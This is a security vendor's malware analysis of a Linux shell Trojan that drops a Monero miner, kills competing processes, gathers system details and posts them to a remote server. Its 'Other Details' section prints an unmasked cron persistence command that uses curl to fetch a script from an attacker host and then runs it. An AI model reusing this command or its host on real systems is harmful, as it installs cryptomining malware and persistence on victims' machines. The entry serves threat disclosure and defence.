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Trojan.SH.MALXMR.UWEJS

January 08, 2020
 Analysis by: Joshua Paul Ignacio
 ALIASES:

N/A

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware

This Trojan may be downloaded by other malware/grayware from remote sites.

It deletes itself after execution.

  TECHNICAL DETAILS

File Size:

1,927 bytes

File Type:

, Other

Memory Resident:

No

Initial Samples Received Date:

06 Jan 2020

Payload:

Connects to URLs/IPs, Steals information, Downloads files

Arrival Details

This Trojan may be downloaded by the following malware/grayware from remote sites:

Installation

This Trojan drops and executes the following files:

  • x
  • start.pl

It creates the following folders:

  • /var/tmp/.nano
  • /tmp/.vd

Other System Modifications

This Trojan deletes the following files:

  • nohup.out
  • /tmp/min.sh
  • /tmp/min
  • /tmp/nohup.out
  • /tmp/cron.d
  • /var/tmp/.nano
  • /{Current Directory}/cron.d
  • cron.d
  • .bin
  • /dev/shm/.bin
  • /tmp/.bin
  • /dev/shm/monero.tgz
  • .vd
  • /tmp/.vd
  • /tmp/.vd/sslm.tgz
  • min*
  • {Current Directory}/min*
  • /tmp/min*

Process Termination

This Trojan terminates the following processes if found running in the affected system's memory:

  • rand
  • rx
  • rd
  • tsm
  • tsm2
  • haiduc
  • a
  • sparky
  • sh
  • 2238Xae
  • b
  • f
  • i
  • p
  • y
  • rsync
  • ps
  • go
  • x
  • s
  • b
  • run
  • idle
  • minerd
  • crond
  • yam
  • xmr
  • python
  • cron
  • ntpd
  • start
  • start.sh
  • libssl
  • sparky.sh

Download Routine

This Trojan connects to the following URL(s) to download its component file(s):

  • https://{BLOCKED}ter.com/assets/.style/remote/cron.sh
  • https://{BLOCKED}ter.com/assets/.style/nano.sh
  • https://{BLOCKED}ter.com/assets/.style/monero.tgz
  • https://{BLOCKED}ter.com/assets/.style/sslm.tgz

It saves the files it downloads using the following names:

Information Theft

This Trojan gathers the following data:

  • Current Directory
  • username
  • System time and date
  • Kernel Information
  • Number of Processing Units
  • List of Display Interface

Stolen Information

This Trojan sends the gathered information via HTTP POST to the following URL:

  • http://{BLOCKED}ter.com/assets/.style/remote/info.php

Other Details

This Trojan connects to the following URL(s) to get the affected system's IP address:

  • http://upajmeter.com/assets/.style/remote/info.php

It does the following:

  • It creates the following cron jobs for persistence:
    Path: {Current Directory}/cron.d
    • Schedule: Every 30 minutes
    • Command: */30 * * * * /var/tmp/.nano/nano.sh &> /dev/null @reboot /bin/mkdir /var/tmp/.nnao && /usr/bin/curl -s https://upajmeter.com/assets/.style/nano.sh && /bin/chmod +x /var/tmp/.nano/nano.sh && /var/tmp/.nano/nano.sh

It deletes itself after execution.

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.608.01

FIRST VSAPI PATTERN DATE:

07 Jan 2020

VSAPI OPR PATTERN File:

15.609.00

VSAPI OPR PATTERN Date:

08 Jan 2020

Scan your computer with your Trend Micro product to delete files detected as Trojan.SH.MALXMR.UWEJS. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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